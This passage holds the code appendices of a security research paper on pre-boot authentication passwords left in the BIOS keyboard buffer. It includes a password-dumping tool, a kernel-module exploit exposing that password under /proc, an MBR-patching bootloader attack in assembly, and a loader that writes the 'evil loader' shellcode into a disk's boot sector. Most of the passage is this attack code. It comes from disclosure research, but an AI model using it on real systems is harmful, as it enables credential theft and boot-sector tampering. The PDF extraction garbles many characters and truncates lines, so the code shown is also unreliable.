int this_option_optind = optind ? optind : 1;
int option_index = 0;
stati stru t option long_options[℄ =
{{"help", 0, 0, 'h'},
= getopt_long(arg , argv, "hp::m::k::", long_options,
&option_index); if (
==
break;
swit h ( ) { ase 'h':
usage(arg , argv); break;
ase 'm': devi e_flag = 1; if(optarg != 0) {
strn py(TARGET_FILE, optarg, BUFF_LENGTH); } else {
strn py(TARGET_FILE, DEFAULT_DEVICE, BUFF_LENGTH);
}
TARGET_OFFSET = BIOS_BUFFER_ADDRESS_M; break;
ase 'p': pro _flag = 1; if(optarg != 0) {
strn py(TARGET_FILE, optarg, BUFF_LENGTH); } else {
strn py(TARGET_FILE, DEFAULT_PROC, BUFF_LENGTH);
}
TARGET_OFFSET = BIOS_BUFFER_ADDRESS_K; break;
ase 'k':
kernel_flag = 1; if(optarg != 0) {
strn py(TARGET_FILE, optarg, BUFF_LENGTH); } else {
strn py(TARGET_FILE, DEFAULT_KERNEL_MAP, BUFF_LENGTH);
}
TARGET_OFFSET = KERNEL_BUFFER_ADDRESS; break;
default:
fprintf(stderr, "[!!℄ unknown option : '%
'\n",
);
}
}
/*
*Read potential password from file
*/
if( (devi e_flag && pro _flag) || (devi e_flag && kernel_flag) \
||(kernel_flag && pro _flag) \ || (!devi e_flag && !pro _flag && \ !kernel_flag) )
usage(arg , argv);
fd = open(TARGET_FILE, O_RDONLY); if (fd ==
perror("Fatal error in open ");
}
int PageSize = (int)sys onf(_SC_PAGESIZE); if ( PageSize < 0) {
perror("Fatal error in sys onf ");
}
har* map = mmap(0, PageSize, PROT_READ , MAP_SHARED, fd, TARGET_OFFSET & ~0xFFF); if(map == MAP_FAILED) {
perror("Fatal error in mmap");
}
mem py(tab, map + TARGET_OFFSET - (TARGET_OFFSET & ~0xFFF),32);
for (j = 0; j < 16; j++) { tab2[i℄ = tab[2 * j℄; i++;
if (tab2[i℄ <= 0x7e && tab2[i℄ >= 0x30 ) password_flag = 1;
}
if (password_flag) {
}
for (i = 0; i < 16; i++) {
/*
*We might have several passwords on atenated in ase of
*multiple preboot authenti ation softwares
*/
if ( i<15 && tab2[i℄ == 0x0d && tab2[i+1℄ != 0x0d && tab2[i+1℄ <= 0x7e && \ tab2[i+1℄ >= 0x30 ) {
printf("% ", tab2[i℄);
}
}
printf("\n\n");
/*
*Clean up...
*/
if (munmap(map, PageSize) < 0) { perror("Non fatal error in munmap ");
}
lose(fd);
return 0;
}
Annexe E : ksploit.
/*
*
*Trivial LKM exploit to display the ontent of BIOS Keyboard buffer
*in /pro /prebootpassword .
*
*// Jonathan Brossard - jonathanivizindia. om - endrazinegmail. om
*/
#in lude <linux/init.h> #in lude <linux/module.h> #in lude <linux/string.h>
#in lude <linux/kernel.h> #in lude <linux/pro _fs.h> #in lude <linux/string.h>
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Pre Boot Authenti ation Password LKM Exploit"); MODULE_AUTHOR("Jonathan Brossard // endrazine");
#define BiosKeyboardBuffer 0xC000041E
/*
*Write password to /pro entry routine
*/
stati int sploit_read_pass( har *page, har **start, off_t off, int ount, \ int *eof, void *data ) {
har tab[32℄; har tab2[16℄;
int i=0, j, password_flag = 0; int len=0;
if (off > 0) { *eof = 1; return 0;
}
sprintf(tab, "%s", BiosKeyboardBuffer);
for (j = 0; j < 16; j++) { tab2[i℄ = tab[2 * j℄; i++;
if (tab2[i℄ <= 0x7e && tab2[i℄ >= 0x30 ) password_flag = 1;
}
if (!password_flag) {
len=sprintf(page, "No password found\n"); return len;
} else {
len=sprintf(page, "Password to the latest pre boot authenti ation \ software) : ");
for (i = 0; i < 16; i++) {
/*
*We might have several passwords on atenated in ase of
*multiple preboot authenti ation softs
*/
if ( i<15 && tab2[i℄ == 0x0d && tab2[i+1℄ != 0x0d && tab2[i+1℄ \ <= 0x7e && tab2[i+1℄ >= 0x30 ) {
len += sprintf(page,
}else if (tab2[i℄ <= 0x7e && tab2[i℄ >= 0x30) { sprintf(page, "%s% ", page, tab2[i℄); len++;
}else {
break;
}
}
sprintf(page, "%s\n",page); len++;
}
return len;
}
/*
*Loading routine : reates an entry in /pro and defines the previous fun tion
*as its reading entry.
*/
stati int sploit_init(void) {
stati stru t pro _dir_entry *pro _entry;
"// Jonathan Brossard - jonathanivizindia. om - \ endrazinegmail. om\n");
pro _entry = reate_pro _entry( "prebootpassword", 0444, NULL );
if (pro _entry == NULL) {
printk(KERN_ALERT "Couldn't reate /pro entry\n"); return 1;
} else {
}
return 0;
}
/*
*Unloading routine
*/
stati
int sploit_exit(void) { remove_pro
_entry("prebootpassword", &pro
_root);
return 0;
}
module_init(sploit_init); module_exit(sploit_exit);
|
Annexe F : InvisibleMan.S |
; |
|
; |
[ Atta k of the Invisible Man ℄ |
; |
(bootloader in the middle) |
; |
|
;Generi
rebooting atta
k against
;that do not initialize BIOS keyboard memory.
;
;Jonathan Brossard
;ROADMAP :
;
;Use delta offset[0℄ tri k to find self lo ation in memory.
;Fill the BIOS keyboard buffer using PIC 8042[1℄.
;Allo ate a 5Ko buffer in RAM reserved to the BIOS.
;Find first bootable disk.
;Read old MBR ba kup in reserved RAM.
;Pat h disk with old MBR.
;Load MBR in RAM at address 0x0000:0x7 00
;Unallo ate BIOS memory if possible
;Jump to 0x0000:0x7 00
;
;NOTES :
;Sin e some BIOS/virtual ma hines do not follow the standards
;and do he k/modify memory when alling int 0x19, we will
;emulate it by loading the MBR in RAM and jumping to it.
;
;Sin e we pat h an a tual MBR instead of rafting one from s rat h,
;size does matter. The initial jump of the MBR is a jmp short, so
;it might be up to 128b long; we also need to keep the latest two
;bytes that mark the disk as bootable, hen e , we roughly have :
;512 - 128 - 2 = 382 bytes available if we want to sti k to one se tor.
;TODO : remove MBR ba kup
;
;[0℄ Cf: 80's/90's virii writing tutorials a la 40hex,
;virii sour e ode like Stone or the Italian Virus,
;Dark Avenger virii's sour e ode.
;http://www.etext.org/zines/ASCII/40hex/
;
;[1℄ Art of Assembly Language: Chapter Twenty, Randall Hyde
;
;
;
;Tested against:
;* Grub 0.97 with MD5 hashes, under Gentoo 2006
;* Grub 0.97 with MD5 hashes, under fedora release 7 (Moonshine)
;(vulnerable in both text and graphi al modes)
;
;TIP :
;just add a few 'es ape' hara ters before the password if you
;atta k a bootloader with graphi al display like grub.
;
;
;
org 0x100
se tion .text |
|
_start: |
|
nop |
|
nop |
|
realstart: |
|
jmp short DeltaCall |
; good old delta offset tri k |
getdelta: |
|
pop bx |
|
jmp short afterroutinesjump |
|
DeltaCall: |
; dummy all to get delta offset |
all getdelta |
|
;
;Save usefull data here
returnaddress: db 0x00, 0x00
password db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
db 0x00, 0x00, |
0x00, 0x00, 0x00, 0x00, |
0x00, 0x00, |
|
db 0x00, 0x00, |
0x00, 0x00, 0x00, 0x00, |
0x00, 0x00, |
|
db 0x00, 0x00, |
0x00, 0x00, 0x00, 0x00, |
0x00, 0x00, |
|
db 0x00 |
|
|
; |
filling subroutines ℄ |
;Credit for those routines :
;Art of Assembly Language: Chapter Twenty, Randall Hyde
;
;
write_to_bios_buffer:
mov dl, al xor x, x
wait_ ontroller: ; Wait untill mi ro ontroller's
in al, 0x64; ontrol buffer is empty test al, 1
loopnz wait_ ontroller ; disable the keayboard
li |
; disable interrupts |
in al, 0x21 |
; get urrent mask |
push ax |
|
or al, 2 |
; mask keyboard interrupt |
out 0x21, al |
|
all wait_ ontroller2 |
|
mov al, 0x60 |
; "send keyboard" ommand |
out 0x64, al |
|
; send the s an ode as a new ommand :
all wait_ ontroller2 mov al, dl
out 0x60, al
all wait_ ontroller2
mov al, |
0x20 |
; "send keyboard" ommand |
out 0x64, al |
|
|
xor x, x |
|
|
wait_if_full: |
; wait until the ontroller |
|
in al, 0x64 |
; is a epting data |
|
test |
al, 1 |
|
loopz |
wait_if_full |
|
all wait_ ontroller2 |
|
|
mov al, |
0x60 |
|
out 0x64, al |
|
|
all wait_ ontroller2 |
|
|
mov al, |
0x45 |
|
out 0x60, al |
|
fake_int0x09: |
|
in al, 0x60 |
|
int 0x09 |
; simulate hardware interrupt |
; re enable the keyboard, lean and return
all wait_ ontroller2
mov al, 0x0ae |
|
out 0x64, al |
; re enable the keyboard |
pop ax |
|
out 0x21, al |
; restore interrupt mask |
ret |
|
wait_ ontroller2: |
; wait until we an send a ommand |
push x |
; to the mi ro ontroller |
push ax |
|
xor x, x |
|
test mdport: |
|
in al, 0x64 |
|
test al, 2 |
; he k 'buffer is full' flag |
loopnz test mdport |
|
pop ax |
|
pop x |
|
ret |
|
[ Main
ode starts here ℄ |
|
afterroutinesjump: |
|
;
;Fill up the BIOS keyboard buffer thanks to PIC programming
push bx add bx,2;3
mov si,bx |
; si points to password |
mov x,32 |
; max BIOS keyboard buffer size |
put_password: |
; put password in keyboard |
push s |
; (without final \x00) |
pop ds |
|
push x |
|
mov al, [ds:si℄ |
|
mp al, 0x00 |
|
je stop_ opying |
|
all write_to_bios_buffer |
|
in si |
|
pop x |
|
loop put_password |
|
push x |
; dummy push |
stop_ opying: |
|
pop x |
; dummy pop |
; |
|
;Reserve a 10 Ko memory buffer in the BIOS reserved memory.
; f: old virii like Stoned, the Italian Virus et .
; |
|
xor ax,ax |
|
mov ds,ax |
|
mov ax, [ds:0x413℄ |
; get amound of available memory |
sub ax, 10 |
; register 10 Ko of memory |
mov [ds:0x413℄,ax |
; update BIOS ounter |
pop es |
|
push ax |
; save ounter for desallo ation |
push es |
|
mov l,06 |
|
shl ax, l |
|
mov es,ax |
; our buffer starts at es:0x00 |
;find the bootable hard drive :
;read 1 se tors and he k if disk is marked
;as bootable on every disk su essively
push es |
|
|
xor dx,dx |
; dl = drive number |
|
readnext: |
|
|
in dl |
|
|
mov ah, |
0x02 |
; read from disk in memory |
mov al, |
0x01 |
; 1 se tor |
mov bx, |
0x00;buffer |
|
mov h, |
0 |
|
mov l, |
1 |
|
mov dh, |
0 |
|
int 13h |
|
|
mp ah, |
0x00 |
; he k return value |
jne readnext |
|
|
mp dl, |
0x10 |
; test 10 drives at max |
je notfound |
|
|
mp byte [es:bx+510℄, 0x55 ; |
||
jne readnext |
; Verify the disk is bootable |
|
mp byte [es:bx+511℄, 0xAA ; |
||
jne readnext |
; |
;
; The bootable disk number is in dl, read 20 se tors,
;find our ba kup and pat h the MBR (1 se tor).
pop es push es
mov ah, |
0x02 |
; fun tion: read |
mov al, |
0x14 |
; 20 se tors |
mov bx, |
0x00; buffer |
|
mov h, |
0 |
|
mov l, |
1 |
|
mov dh, |
0 |
|
int 13h |
|
|
mp ah, |
0x00 |
; he k return value |
jne readnext |
|
|
push s |
|
|
pop ds |
|
|
pop es |
|
|
pop si |
|
|
xor bx,bx |
|
|
mov bx, [ds:si℄ |
; return address |
|
; Copy ba kuped MBR ba k to se tor 1 |
||
mov ah, |
0x03 |
; fun tion: write |
mov al, |
1 |
; 1 se tor |
mov h, |
0 |
|
mov l,1 ;1 |
|
|
mov dh, |
0 |
|
int 13h |
|
|
;
;Remove ba ked up MBR
mov ah, 0x03 |
; fun tion: write |
||
mov |
al, |
1 |
; 1 se tor |
int |
13h |
|
|
notfound:
push s pop ds
;
;Jump to our ode, in reserved BIOS RAM
;We want to do a jmp es:ax, but we'll have
; to ode it ourselves... |
|
push s |
|
pop ds |
|
all bigjump |
|
bigjump: |
|
pop ax |
|
add ax,20 |
|
push ax |
|
pop si |
|
sub ax,0x7 00 |
|
add ax,4 |
|
mov [ds:si℄,ax |
|
mov [ds:si+2℄,es |
|
jmp 0xffff:0x0000 |
; pat hed at runtime |
nop |
; optional nop sled |
nop |
|
nop |
|
nop |
|
nop |
|
nop |
|
nop |
|
nop |
|
; |
|
;Copy bootloader in RAM at position 0x0000:0x7C00
;dl still ontains drive number
mov bx, 0x7 00 xor ax,ax push ax
pop es
mov ah, 0x02 |
; read from disk in memory |
mov al, 0x01 |
; 1 se tor |
mov h, 0 |
|
mov l, 1 |
|
mov dh, 0 |
|
int 13h |
|
; |
|
;Desallo ate memory if no other pro ess has requested
;additional BIOS memory in the meantime
pop |
ax |
; |
retrieve ounter |
from sta k |
mov |
bx, [ds:0x413℄ |
; |
get urrent BIOS |
mem ounter |
mp ax, bx |
|
|
|
jne skip_desallo |
|
; someone else has allo ated mem |
|
add ax, 10 |
; |
unallo ate 10 Ko of |
memory |
mov [ds:0x413℄,ax |
; |
update BIOS ounter |
|
; |
|
|
|
;Do not mention the ra e ondition here ;)
;From here, we are exe uting ode that might
;get overwriten anytime. Hopefully, prote ted
;mode is monopro ess.
;
skip_desallo :
;
;Jump to original bootloader
jmp 0x0000:0x7 00
;EOF
Annexe G : InvisibleManLoader.
/*
*
*Jonathan Brossard - jonathanivizindia. om // endrazinegmail. om
*"Invisible Man" atta
k against
*This is plain old MBR pat hing, like implemented
*by many MBR virii sin e the 80's.
*
*Keyboard filling routines shamelessly ripped from "The art of assembly".
*/
#in lude <stdio.h> #in lude <stdlib.h> #in lude <unistd.h> #in lude <sys/types.h> #in lude <sys/uio.h>
#in lude <sys/types.h> #in lude <sys/stat.h> #in lude <f ntl.h> #in lude <unistd.h> #in lude <string.h> #in lude <errno.h> #in lude <getopt.h>
#in lude <mallo .h> #in lude <sys/mman.h>
#define DISK_OFFSET 10000 #define BUFF_SIZE 512 #define BUFF_LENGTH 255
har evilloader[℄="\x90\x90\xeb\x03\x5b\xeb\x7f\xe8\xfa\xff\x00\x00\x00\x00\x00\x00\x00\x00\
/* Translation tables for keys to/from s an odes */ |
|
|
|
|||||
har s an odes1[℄= {'0', '1', '2', '3', '4', '5', '6', '7', '8', |
'9', 'A', 'B', |
|||||||
'C', 'D', 'E', 'F', 'G', 'H', |
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', |
|||||||
'U', 'V', 'W', 'X', 'Y', 'Z','a', 'b', ' ', 'd', 'e', |
'f', 'g', 'h', 'i', 'j', 'k', 'l', |
|||||||
'm', 'n', 'o', 'p', 'q', 'r', |
's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '!', '', '#', '$', |
|||||||
'%', '^', '&', '*', '(', ')', |
'_', |
|||||||
'`', '~', '|', '\\', '<', ',', '>', '.', '?', '/', '*', |
/* down key */, |
|||||||
0x18 /* up key */, 0x1a /* right key*/, 0x1b /* |
left key */, 0x0d |
/* Enter */, |
|
|||||
0x1b /* Es */, 0x20 /* spa e |
*/ }; |
|
|
|
|
|
||
har s an odes2[℄= {0x0B, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, |
||||||||
0x1E, |
0x30, 0x2E, |
0x20, 0x12, |
0x21, 0x22, |
0x23, 0x17, |
0x24, 0x25, |
0x26, 0x32, |
0x31, 0x18, |
|
0x19, |
0x10, 0x13, |
0x1F, 0x14, |
0x16, 0x2F, |
0x11, 0x2D, |
0x15, 0x2C, |
0x1E, 0x30, |
0x2E, 0x20, |
|
0x12, |
0x21, 0x22, |
0x23, 0x17, |
0x24, 0x25, |
0x26, 0x32, |
0x31, 0x18, |
0x19, 0x10, |
0x13, 0x1F, |
|
0x14, |
0x16, 0x2F, |
0x11, 0x2D, |
0x15, 0x2C, |
0x02, 0x03, |
0x04, 0x05, |
0x06, 0x07, |
0x08, 0x09, |
|
0x0A, |
0x0B, 0x0C, |
0x0C, 0x0D, |
0x0D, 0x1A, |
0x1A, 0x1B, |
0x1B, 0x27, |
0x27, 0x28, |
0x28, 0x29, |
|
0x29, |
0x2B, 0x2B, |
0x33, 0x33, |
0x34, 0x34, |
0x35, 0x35, |
0x37, 0x4A, |
0x50, 0x48, |
0x4D, 0x4B, |
0x1C, 0x01, 0x39 } ;
har password[16℄={0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
har password2[32℄;
/*
* Remove one hara ter from the translated password buffer
*/
int remove_ har(int j) {
int i;
for (i=j;i<sizeof(password2);i++) { if ( i == sizeof(password2) ) { password2[i℄ = 0x00;
} else{
password2[i℄=password2[i+1℄;
}
}
return 0;
}
/*
*Convert password to 'keystroke+s an ode' format
*/
int onvert_password(void) {
int i,j;
for (i=0;1<16;i++) {
/* onvert 'enter' keystroke */ if ( password[i℄ == 0x0a ) { password[i℄= 0x0d;
}
if ( password[i℄ |
== 0x00 ) { |
password2[2*i℄ = |
0x00; |
break; |
|
} else { |
|
password2[2*i℄ = |
password[i℄; |
for (j=0;j<sizeof(s an odes1);j++) { if ( s an odes1[j℄ == password[i℄ ) { password2[2*i+1℄ = s an odes2[j℄; break;
}
if ( j == (sizeof(s an odes1) - 1) ) { /* error on given password */
return 1;
}
}
}
}
/* remove every o uren e of 0x0d : the enter key is only oded on one byte */ for (j=0;j<sizeof(password2);) {
if ( password2[j℄ == 0x0d ) { remove_ har(j);
}else { j++;
}
return 0;
}
/*
*Copy translated password to shell ode
*/
int load_password(void) {
int i;
printf(" [*℄ Translated Password: [ "); for (i=0;i<32;i++) {
if( password2[i℄ == 0x00) break;
printf("%02x ",password2[i℄); evilloader[12+i℄ = password2[i℄;
}
printf("℄\n");
return 0;
}
/*
*Display some help
*/
int usage(int arg , har **argv) {
fprintf(stderr,
"usage: %s
"DONT USE UNTIL YOU KNOW WHAT YOU ARE DOING\n\n", argv[0℄);
}
int main (int arg , har * argv[℄) {
har PASSWORD_FILE[BUFF_LENGTH℄; har DISK_NAME[BUFF_LENGTH℄;
int fd;
int ,i,j=0, retaddr,jumpposition; FILE * passwdfile;
if (arg < 2) usage(arg , argv);
/*
*Command line options parsing
*/
while (1) {
int this_option_optind = optind ? optind : 1; int option_index = 0;
stati stru t option long_options[℄ =
{{"help", 0, 0, 'h'}, {"password", 1, 0, 'p'}, {"disk", 1, 0, 'd'},
{0, 0, 0, 0} };
= getopt_long(arg , argv, "hp:d:", long_options, &option_index);
if (
==
swit h ( ) { ase 'h': usage(arg , argv); break;
ase 'p': if(optarg != 0) {
strn py(PASSWORD_FILE, optarg, BUFF_LENGTH); } else {
fprintf(stderr, " [!!℄ try giving an a
tual option instead of : '%
'\n",
);
}
break;
ase 'd': if(optarg != 0) {
strn py(DISK_NAME, optarg, BUFF_LENGTH); } else {
fprintf(stderr, " [!!℄ try giving an a
tual option instead of : '%
'\n",
);
}
break;
default:
fprintf(stderr, " [!!℄ unknown option : '%
'\n",
);
}
}
/*
*Read password from file
*/
passwdfile = fopen(PASSWORD_FILE, "r"); if (!passwdfile) {
perror("error opening password file: ");
}
fs anf(passwdfile,"%16 ",password);
/*
*Open devi e and read DISK_OFFSET first bytes
*/
fd = open(DISK_NAME, O_RDWR); if (fd ==
perror("Fatal error while opening disk: ");
}
int PageSize = (int)sys onf(_SC_PAGESIZE); if ( PageSize < 0) {
perror("Fatal error in sys
onf: ");
}
har* map = mmap(0, DISK_OFFSET , PROT_READ| PROT_WRITE , MAP_SHARED, fd, 0); if(map == MAP_FAILED) {
perror("Fatal error in mmap: ");
}
/*
*Read original jump address from MBR
*/
for (i=0;i<10;i++) {
if ( (unsigned har) *(map + i ) == 0xeb ) { /* jmp short ... */ break;
}
}
if ( i >= 9 ) {
printf("Could't find initial jmp short : quiting\n");
} else { jumpposition = i + 1;
}
retaddr= * (map + jumpposition) +2;
printf(" [*℄ Initial jump: 0x%x at position 0x%x\n", retaddr,jumpposition);
/*
*sear h for a DISK_OFFSET bytes long buffer filled with 0x00
*to ba k up MBR
*/
j = 0;
for (i=513;i<DISK_OFFSET;i++) {
if ( *(map +i) == 0x00 ){ j++;
}else { j = 0;
if ( j >= BUFF_SIZE ) { break;
}
}
/*
*No suitable buffer found, quit
*/
if (i >= DISK_OFFSET - 10) {
printf(" [*℄ No suitable buffer found, try a larger disk offset\n");
} else {
/*
*Ok, we have a suitable buffer
*/
i = i - BUFF_SIZE;
printf(" [*℄ Found %d bytes buffer at offset 0x%4x\n",j,i);
}
/*
*Ba kup original bootloader to buffer
*/
if(!mem py(map + i,map,512)) {
printf("ba
kup of the original MBR failed, quitting\n");
} else {
printf(" [*℄ ba kup of MBR su essful\n");
}
/*
*Modify the address of the MBR ba kup in our evil loader
*/
evilloader[10℄ = i % 256 ; evilloader[11℄ = i / 256 ;
/*
*Get the password translated to the 'keystroke + s an ode' format
*and opy it to shell ode
*/
printf(" [*℄ Password:\n[%s℄\n\n",password);
if( onvert_password()) {
printf("Invalid
hara
ter in password...\nquitting\n");
} else {
load_password();
}
/*
* opy our ustom bootloader at intial "jump short..." landing
*/
if( !mem py(map+retaddr+jumpposition,evilloader,sizeof(evilloader)) ) { printf("Installation of evil loader failed, quitting\n");
printf(" [*℄ Installed evil loader at offset 0x%x\n" ,retaddr+jumpposition );
}
/*
*Clean and quit
*/
if (munmap(map, (DISK_OFFSET/PageSize +1)*PageSize ) < 0) { perror("Error while freeing memory...\n");
}
lose(fd); return 0;
}
Referen es
1.North utt, S., Filkins, B.: (En ryption pro urement: Setting a stan- dard)
2.Skorobogatov, S.: Low temperature data remanen e in stati ram.
Te hni al report (2002)
3. J. Alex Halderman, Seth D. S hoen, N.H.W.C.W.P.J.A.C.A.J.F.J.A., Felten, E.W.: Lest we remember: Cold boot atta ks on en ryption keys. (2008)
4.Per ival, C.: Ca he missing for fun and prot. (2005)
5.Boileau, A., Rux on (2006)
6.Duot, L.: Se urity issues related to pentium system management mode, CanSe West (2006)
7.Brossard, J.: Bios information leakage. (2005)
8.Phoenix, Compaq, I., Mi rosoft: Bios boot spe i ation version 1.01. Te hni al report (1996)
9.Proje t, T.F.D.: Freebsd ar hite ture handbook. Te hni al report (2006)
10.Intel: Intel 64 and
In: Volume 1: Basi Ar hite ture, P.O. Box 5937, Denver CO 80217- 9808 (2008)
11.Intel: Intel 64 and
In: Volume 3A: System Programming Guide, P.O. Box 5937, Denver CO
12.Crou her, P.: The BIOS Companion: The book that doesn't ome with your motherboard! BookSurge Publishing (2004)
13.Aivazian, T.: Linux kernel 2.4 internals. Te hni al report, Veritas (2002)
14.Cox, A.: (Linux 2.4 bios usage referen e)
15.Linux: (Linux kernel)
16.Dunlap, R.: Linux 2.4.x initialization for
17.Mi
rosoft: (Bitlo
ker drive en
ryption:
18.Brown, R.: (Ralf brown's interrupt list, interruption 0x16 (keyboard related))
19.Brown, R.: (Ralf brown's interrupt list, interruption 0x09, irq1 (key- board data ready))
20.Lilo: (Linux loader sour e ode)
21.Intel:
22.Intel: 8259a programmable interrupt
ontroller
23.Hyde, R.: Chapter 20 : The PC Keyboard. In: The art of assembly language programming. UCR Standard Library for 80x86 Assembly Language Programmers (1996)
24.Hurt, R.: (Bios data area mapping)
25.Daniel P. Bovet, M.C. In: Understanding the Linux kernel. O'Reilly (2002)
26.Lrmi: (Linux real mode interfa e proje t page at sour eforge)
27.Grse urity: (Grse urity home page)
28.Malyugin, V.S.: (Debugging linux kernels with vmware workstation 6.0)
29.CoolQ: Ha king grub for fun and prot. (Phra k magazine)
30.S ythale: Ha king deeper in the system. (Phra k magazine)
31.Salihun, D.M. Code Breaker (2004)
32.Brossard, J.:
33.Brossard, J.: